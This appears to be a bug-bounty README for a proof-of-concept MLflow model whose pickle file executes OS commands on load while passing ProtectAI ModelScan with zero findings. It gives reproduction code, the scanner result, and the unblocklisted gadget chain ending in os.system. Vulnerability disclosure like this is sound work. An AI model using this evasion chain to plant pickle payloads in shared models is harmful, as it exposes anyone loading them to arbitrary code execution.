mhrisham/mlflow-bypass-poc

MLFlow ACE Scanner Bypass PoC

Huntr Bug Bounty - Model File Formats (MLFlow / ProtectAI ModelScan)

bypass_v5_model/ is a malicious MLFlow python_function model that:

1. Executes arbitrary OS commands via mlflow.pyfunc.load_model() / pickle.loads(model.pkl)
2. Passes ProtectAI ModelScan v0.8.8 PickleUnsafeOpScan with zero detections (total_issues: 0, exit 0)

Structure

bypass_v5_model/
+-- MLmodel       (YAML config declaring python_function flavor)
+-- model.pkl     (v5 gadget-chain pickle <- the payload)

Reproduce

# Option A: direct pickle
import pickle
result = pickle.loads(open('bypass_v5_model/model.pkl', 'rb').read())
# ACE fires, os.system returns 0

# Option B: via mlflow (if installed)
import mlflow.pyfunc
model = mlflow.pyfunc.load_model('bypass_v5_model')
# ACE fires at load time

Scanner Bypass

modelscan scan -p bypass_v5_model -r json
# result: total_issues=0, issues=[], exit 0

Gadget Chain

importlib.import_module -> builtins.vars -> operator.getitem -> os.system

None of these GLOBALs appear on ModelScan PickleUnsafeOpScan blocklist.